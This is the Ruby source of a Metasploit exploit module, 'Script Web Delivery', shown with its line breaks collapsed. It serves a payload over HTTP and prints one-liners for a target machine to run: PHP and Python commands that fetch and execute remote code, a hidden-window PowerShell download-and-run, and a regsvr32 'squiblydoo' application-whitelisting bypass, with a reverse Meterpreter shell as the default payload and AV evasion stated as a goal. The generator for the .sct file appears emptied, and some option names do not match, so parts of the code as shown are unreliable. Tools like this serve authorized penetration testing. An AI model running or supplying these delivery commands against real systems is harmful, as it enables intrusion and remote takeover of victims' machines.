## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Script Web Delivery', 'Description' => %q( This module quickly fires up a web server that serves a payload. The provided command which will allow for a payload to download and execute. It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed. ), 'License' => MSF_LICENSE, 'Author' => [ 'Andrew Smith "jakx" ', 'Ben Campbell', 'Chris Campbell', # @obscuresec - Inspiration n.b. no relation! 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) 'Trenton Ivey', # AppLocker MSF Module (kn0) 'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp' }, 'References' => [ ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'], ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'], ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'], ], 'Platform' => %w(python php win), 'Targets' => [ ['Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON }], ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP }], ['PSH', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] }], ['Regsvr32', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] }], ['PSH (Binary)', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 19 2013' )) register_advanced_options( [ OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]), OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]), OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]), ], self.class ) end def primer php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));") python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());") regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll) print_status("Run the following command on the target machine:") case target.name when 'PHP' print_line("#{php}") when 'Python' print_line("#{python}") when 'PSH' psh = gen_psh("#{get_uri}", "string") print_line("#{psh}") when 'Regsvr32' print_line("#{regsvr}") when 'PSH (Binary)' psh = gen_psh("#{get_uri}", "download") print_line("#{psh}") end end def on_request_uri(cli, _request) if _request.raw_uri =~ /\.sct$/ psh = gen_psh("#{get_uri}", "string") data = gen_sct_file(psh) elsif target.name.include? 'PSH (Binary)' data = generate_payload_exe elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32' data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true ) else data = %Q(#{payload.encoded}) end if _request.raw_uri =~ /\.sct$/ print_status("Handling .sct Request") send_response(cli, data, 'Content-Type' => 'text/plain') else print_status("Delivering Payload") send_response(cli, data, 'Content-Type' => 'application/octet-stream') end end def gen_psh(url, *method) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl if method.include? 'string' download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric 8}.exe" # Set filename (Use random filename if empty) filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME'] # Set path (Use %TEMP% if empty) path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}') # Join Path and Filename file = %Q(echo (#{path}+'\\#{filename}')) # Generate download PowerShell command download_string = Rex::Powershell::PshMethods.download_run(url, file) end download_and_run = "#{ignore_cert}#{download_string}" # Generate main PowerShell command return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) end def rand_class_id "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" end def gen_sct_file(command) %{} end end